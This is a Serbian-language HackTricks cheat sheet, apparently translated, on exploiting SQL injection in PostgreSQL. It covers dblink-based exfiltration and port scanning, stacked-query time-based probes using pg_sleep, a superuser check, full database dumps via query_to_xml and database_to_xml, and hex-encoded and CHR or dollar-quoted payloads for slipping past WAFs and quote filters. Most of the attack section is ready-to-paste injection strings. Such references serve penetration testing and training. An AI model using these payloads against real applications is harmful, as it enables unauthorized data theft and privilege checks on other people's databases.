PostgreSQL injection
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ova stranica ima za cilj da objasni različite trikove koji bi vam mogli pomoći da iskoristite SQL injection pronađen u PostgreSQL bazi podataka i da dopuni trikove koje možete pronaći na https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Mrežna interakcija - Eskalacija privilegija, skener portova, NTLM izazov odgovor otkrivanje i eksfiltracija
PostgreSQL modul dblink
nudi mogućnosti za povezivanje sa drugim PostgreSQL instancama i izvršavanje TCP veza. Ove funkcije, u kombinaciji sa COPY FROM
funkcionalnošću, omogućavaju radnje poput eskalacije privilegija, skeniranja portova i hvatanja NTLM izazov odgovora. Za detaljne metode o izvršavanju ovih napada proverite kako da izvršite ove napade.
Primer eksfiltracije koristeći dblink i velike objekte
Možete pročitati ovaj primer da vidite CTF primer kako da učitate podatke unutar velikih objekata i zatim eksfiltrirate sadržaj velikih objekata unutar korisničkog imena funkcije dblink_connect
.
PostgreSQL napadi: Čitanje/pisanje, RCE, privesc
Proverite kako da kompromitujete host i eskalirate privilegije iz PostgreSQL u:
5432,5433 - Pentesting Postgresql
WAF zaobilaženje
PostgreSQL funkcije za rad sa stringovima
Manipulacija stringovima može vam pomoći da zaobiđete WAF-ove ili druga ograničenja.
Na ovoj stranicimožete pronaći neke korisne funkcije za rad sa stringovima.
Stacked Queries
Zapamtite da PostgreSQL podržava stacked queries, ali nekoliko aplikacija će baciti grešku ako se vrate 2 odgovora kada se očekuje samo 1. Ali, još uvek možete zloupotrebiti stacked queries putem Time injection:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML trikovi
query_to_xml
Ova funkcija će vratiti sve podatke u XML formatu u samo jednoj datoteci. Idealna je ako želite da izbacite mnogo podataka u samo 1 redu:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Ova funkcija će izbaciti celu bazu podataka u XML formatu u samo 1 redu (budite oprezni ako je baza podataka veoma velika jer možete izazvati DoS ili čak i na svom klijentu):
SELECT database_to_xml(true,true,'');
Strings in Hex
Ako možete da izvršavate upite prosleđujući ih unutar stringa (na primer koristeći funkciju query_to_xml
). Možete koristiti convert_from da prosledite string kao hex i na ovaj način zaobiđete filtre:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
Zabranjene navodnice
Ako ne možete koristiti navodnice za vaš payload, možete to zaobići sa CHR
za osnovne klauzule (konkatenacija karaktera funkcioniše samo za osnovne upite kao što su SELECT, INSERT, DELETE, itd. Ne funkcioniše za sve SQL izjave):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Ili sa $
. Ove upite vraćaju iste rezultate:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.